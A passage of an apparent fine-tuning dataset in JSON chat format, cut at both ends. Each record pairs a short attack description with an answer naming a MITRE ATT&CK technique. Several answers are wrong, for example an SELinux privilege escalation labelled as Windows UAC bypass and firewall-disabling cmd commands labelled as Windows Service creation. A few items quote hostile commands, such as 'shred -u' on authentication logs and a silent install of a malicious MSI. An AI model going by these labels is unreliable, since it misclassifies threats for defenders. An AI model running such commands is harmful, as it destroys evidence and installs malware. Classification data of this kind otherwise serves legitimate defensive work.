                "content": "Adversaries alter the logging settings of the operating system to suppress alerts about suspicious processes, blocking indicator creation."
            },
            {
                "role": "assistant",
                "content": "T1562.006 - Impair Defenses: Indicator Blocking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor exploited a directory traversal vulnerability to replace the site's favicon with a defacement image."
            },
            {
                "role": "assistant",
                "content": "T1491.002 - Defacement: External Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email includes an attachment called \"invoice.pdf.exe\" where the .exe extension is hidden, making the file appear as a PDF document."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The trojan uses a custom loader that builds the string \"LoadLibraryA\" in memory, then uses LoadLibrary and GetProcAddress to retrieve and invoke functions."
            },
            {
                "role": "assistant",
                "content": "T1027.007 - Obfuscated Files or Information: Dynamic API Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker exploits a misconfigured SELinux policy to bypass restrictions and gain root."
            },
            {
                "role": "assistant",
                "content": "T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The description is vague: \"The attacker weakens encryption\" without specifying the method, making it ambiguous which technique is used."
            },
            {
                "role": "assistant",
                "content": "T1600 - Weaken Encryption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion uses crafted DNS lookup traffic to exfiltrate sensitive information, embedding data within the hostname of each request."
            },
            {
                "role": "assistant",
                "content": "T1071.004 - Application Layer Protocol: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a legitimate web API to maintain two‑way communication with the compromised host, tunneling traffic through HTTPS."
            },
            {
                "role": "assistant",
                "content": "T1102.002 - Web Service: Bidirectional Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan accesses the Exchange mailbox files stored on the endpoint’s file system to harvest messages."
            },
            {
                "role": "assistant",
                "content": "T1114.001 - Email Collection: Local Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign leads to execution of a command that adds a local account named \"svc_user\" for persistence."
            },
            {
                "role": "assistant",
                "content": "T1136.001 - Create Account: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ransomware utilizes the native system call NtWriteVirtualMemory to inject its payload into a running process memory space."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through AS‑REP roasting, the attacker gathers Kerberos ticket‑granting ticket hashes from domain controllers by abusing accounts that have pre‑authentication disabled."
            },
            {
                "role": "assistant",
                "content": "T1558.004 - Steal or Forge Kerberos Tickets: AS-REP Roasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the CreateProcess API, the threat actor starts a benign executable in suspended mode, injects a malicious PE, and then resumes the process to hide activity."
            },
            {
                "role": "assistant",
                "content": "T1055.012 - Process Injection: Process Hollowing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware uses the RTL override control character to reverse the order of characters in a script, making the code look like a harmless text file when viewed in standard editors."
            },
            {
                "role": "assistant",
                "content": "T1036.002 - Masquerading: Right-to-Left Override"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker steals a user's Kerberos ticket-granting ticket (TGT) and reuses it to access protected resources without needing the original credentials."
            },
            {
                "role": "assistant",
                "content": "T1550 - Use Alternate Authentication Material"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By accessing the bash history, the intruder retrieves database passwords embedded in command lines."
            },
            {
                "role": "assistant",
                "content": "T1552.003 - Unsecured Credentials: Bash History"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced persistent threat injected a malicious PowerShell command into the GPO's startup scripts, achieving persistence across all domain-joined computers."
            },
            {
                "role": "assistant",
                "content": "T1484 - Domain Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leveraged a stolen Azure AD token to modify Network Security Group (NSG) policies, turning off the firewall protection for several critical subnets."
            },
            {
                "role": "assistant",
                "content": "T1562.007 - Impair Defenses: Disable or Modify Cloud Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat group performs mass cloning of open‑source projects from a public code host to locate vulnerable components."
            },
            {
                "role": "assistant",
                "content": "T1213.003 - Data from Information Repositories: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors modify the configuration of an existing Linux systemd service to launch a remote access trojan during service start."
            },
            {
                "role": "assistant",
                "content": "T1569 - System Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion modifies the Terminal Services DLL to load a PowerShell script whenever a user initiates a remote desktop session."
            },
            {
                "role": "assistant",
                "content": "T1505.005 - Server Software Component: Terminal Services DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign delivered a link to a counterfeit Office 365 sign‑in page that harvested email usernames and passwords from unsuspecting users."
            },
            {
                "role": "assistant",
                "content": "T1586.002 - Compromise Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor changes the domain's security options to allow anonymous SID enumeration."
            },
            {
                "role": "assistant",
                "content": "T1484 - Domain Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign distributes a zip archive containing an .html file that uses data URIs to store and execute a ransomware payload directly in the victim's browser."
            },
            {
                "role": "assistant",
                "content": "T1027.006 - Obfuscated Files or Information: HTML Smuggling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion sets up a new corporate alias email account via the organization's user provisioning system to blend in."
            },
            {
                "role": "assistant",
                "content": "T1585.002 - Establish Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries use PowerShell obfuscation techniques to hide the actual commands being run."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After exfiltrating data, the threat actor used the Linux command 'shred -u /var/log/auth.log' to permanently delete authentication logs."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary leverages RDP tunneling to traverse the internal network."
            },
            {
                "role": "assistant",
                "content": "T1572 - Protocol Tunneling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware leverages the Windows Credential Manager to retrieve stored Wi‑Fi passwords."
            },
            {
                "role": "assistant",
                "content": "T1555.004 - Credentials from Password Stores: Windows Credential Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor sets up an IPsec VPN tunnel to maintain a persistent, encrypted channel for command execution."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intruder runs PowerShell scripts that call the Microsoft Graph API to enumerate Office 365 tenant resources and Azure AD objects."
            },
            {
                "role": "assistant",
                "content": "T1580 - Cloud Infrastructure Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits the 'cmd' shell to chain multiple commands that disable firewall rules."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Compromised DNS server is used to resolve attacker-controlled domains for malware delivery."
            },
            {
                "role": "assistant",
                "content": "T1584.002 - Compromise Infrastructure: DNS Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-exploitation tool leveraged msiexec to spawn a new process by calling \"msiexec /quiet /i C:\\malicious.msi /L*v C:\\log.txt\"."
            },
            {
                "role": "assistant",
                "content": "T1218.007 - System Binary Proxy Execution: Msiexec"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware leverages a compromised service account to call the Exchange Management Shell and retrieve email metadata from all users."
            },
            {
                "role": "assistant",
                "content": "T1114.002 - Email Collection: Remote Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors exploit a vulnerable API endpoint to upload a malicious JAR file into the application’s plugin directory."
            },
            {
                "role": "assistant",
                "content": "T1608.001 - Stage Capabilities: Upload Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors abuse regasm.exe to load and execute a harmful .NET component on the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1218.009 - System Binary Proxy Execution: Regsvcs/Regasm"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Describe a scenario where an attacker uses file encryption to hold data for ransom."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion technique involved creating a fake \"Adobe Acrobat Reader\" shortcut in the Start menu, pointing to a malicious executable with the same icon and name."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise includes a script that reads the Windows registry for credential data and exfiltrates it through SMTP email attachments."
            },
            {
                "role": "assistant",
                "content": "T1552 - Unsecured Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker sets up a WMI event subscription that triggers a PowerShell payload when a specific process starts."
            },
            {
                "role": "assistant",
                "content": "T1546.003 - Event Triggered Execution: Windows Management Instrumentation Event Subscription"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware modifies its own thread to ignore termination signals, thereby evading detection and remaining active."
            },
            {
                "role": "assistant",
                "content": "T1564.011 - Hide Artifacts: Ignore Process Interrupts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker issues the WMI query \"Select * From Win32_OperatingSystem\" and reads the LocalDateTime property to learn the system clock."
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the intrusion, the malware disables the operating system's automatic sleep and hibernate functions via policy changes."
            },
            {
                "role": "assistant",
                "content": "T1653 - Power Settings"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker creates a scheduled task via 'at' to execute a PowerShell payload after user logs in."
            },
            {
                "role": "assistant",
                "content": "T1053.002 - Scheduled Task/Job: At"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion sets up a backdoor in a low‑traffic Oracle Cloud region that is not covered by standard security policies."
            },
            {
                "role": "assistant",
                "content": "T1535 - Unused/Unsupported Cloud Regions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware spawns a transparent, off‑screen window using the CreateWindowEx API, keeping the malicious process invisible to the user."
            },
            {
                "role": "assistant",
                "content": "T1564.003 - Hide Artifacts: Hidden Window"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through credential abuse, the attacker reinstated a previously shut down Oracle Cloud Compute instance, effectively undoing the defensive shutdown."
            },
            {
                "role": "assistant",
                "content": "T1578.004 - Modify Cloud Compute Infrastructure: Revert Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary collects industry sector information of the victim by reviewing market analysis reports."
            },
            {
                "role": "assistant",
                "content": "T1593.002 - Search Open Websites/Domains: Search Engines"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware distributors infiltrate ad exchanges and place payload‑laden ads that appear on legitimate news sites."
            },
            {
                "role": "assistant",
                "content": "T1583.008 - Acquire Infrastructure: Malvertising"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker runs a Dockerfile on the compromised host to build a malicious container image locally."
            },
            {
                "role": "assistant",
                "content": "T1612 - Build Image on Host"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries employ an encrypted TLS channel over port 8443 to bypass firewalls."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised CMS plugin is used to add a stealthy script tag to all outgoing pages, exfiltrating data to a C2 server."
            },
            {
                "role": "assistant",
                "content": "T1659 - Content Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious script queries the Windows Registry at HKLM\\SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters to obtain DNS server settings."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor steals a user's authentication cookie and presents it to the web server to authenticate as that user."
            },
            {
                "role": "assistant",
                "content": "T1550.004 - Use Alternate Authentication Material: Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a compromised package manager, the adversary installs a malicious shared library that replaces a legitimate one, causing the dynamic linker to load the malicious code during execution."
            },
            {
                "role": "assistant",
                "content": "T1574.006 - Hijack Execution Flow: Dynamic Linker Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Security logs show LNK files created with icons from Adobe Reader, yet the shortcuts execute a hidden payload, illustrating LNK icon smuggling."
            },
            {
                "role": "assistant",
                "content": "T1027.012 - Obfuscated Files or Information: LNK Icon Smuggling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing site hosts an HTML smuggling payload that uses the HTML5 download attribute to silently write a ransomware executable to the victim’s Downloads folder."
            },
            {
                "role": "assistant",
                "content": "T1027.006 - Obfuscated Files or Information: HTML Smuggling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder uses a signed but compromised kernel module that is added to the system's module loading list for persistent access."
            },
            {
                "role": "assistant",
                "content": "T1547.006 - Boot or Logon Autostart Execution: Kernel Modules and Extensions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious PowerShell profile script is placed in the user's Documents\\WindowsPowerShell\\Microsoft.PowerShell_profile.ps1."
            },
            {
                "role": "assistant",
                "content": "T1546.013 - Event Triggered Execution: PowerShell Profile"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group performs a real-time relay attack on hardware security keys, forwarding the user’s presence verification to the target system."
            },
            {
                "role": "assistant",
                "content": "T1111 - Multi-Factor Authentication Interception"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group establishes a disposable email service to receive communications without being traced back to them."
            },
            {
                "role": "assistant",
                "content": "T1585.002 - Establish Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious binary calls the EnumServicesStatusExW API to retrieve a full list of services and their properties."
            },
            {
                "role": "assistant",
                "content": "T1007 - System Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker performed a man‑in‑the‑middle on a VPN connection to capture Okta authentication tokens and hijack cloud sessions."
            },
            {
                "role": "assistant",
                "content": "T1586.003 - Compromise Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses a script to wipe the hard drive by issuing low-level ATA Secure Erase commands on compromised servers."
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors utilize the Windows Credential Editor tool to manipulate and extract credentials from memory."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware encrypts the victim's entire disk and subsequently runs a secure wipe command that overwrites the encryption keys, making data unrecoverable."
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion sets up a recurring task in the Task Scheduler to launch a C2 communication script."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages a third‑party web service to push data using a single HTTP request, ensuring the channel is one-way and unidirectional."
            },
            {
                "role": "assistant",
                "content": "T1102.003 - Web Service: One-Way Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker disables Windows System Restore, removes all restore points, and prevents new ones from being created."
            },
            {
                "role": "assistant",
                "content": "T1490 - Inhibit System Recovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker exploits a vulnerable proxy to modify JSON Web Tokens (JWT) in transit, elevating privileges on the target application."
            },
            {
                "role": "assistant",
                "content": "T1565.002 - Data Manipulation: Transmitted Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor injects a crafted cookie that mimics a legitimate authentication token, enabling silent access to the victim's account."
            },
            {
                "role": "assistant",
                "content": "T1606.001 - Forge Web Credentials: Web Cookies"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The operator swapped out the original ping.exe with a malicious executable but kept the original name to avoid suspicion."
            },
            {
                "role": "assistant",
                "content": "T1036.003 - Masquerading: Rename System Utilities"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker sends a targeted email to C-level executives containing a short URL that redirects to a credential‑harvesting login page mimicking the company's VPN portal."
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Compromised insider creates a new Google Workspace user to gain privileged email access."
            },
            {
                "role": "assistant",
                "content": "T1585.003 - Establish Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Compromised hardware components are sold on an online marketplace; they contain embedded chips that transmit keystrokes to the attacker."
            },
            {
                "role": "assistant",
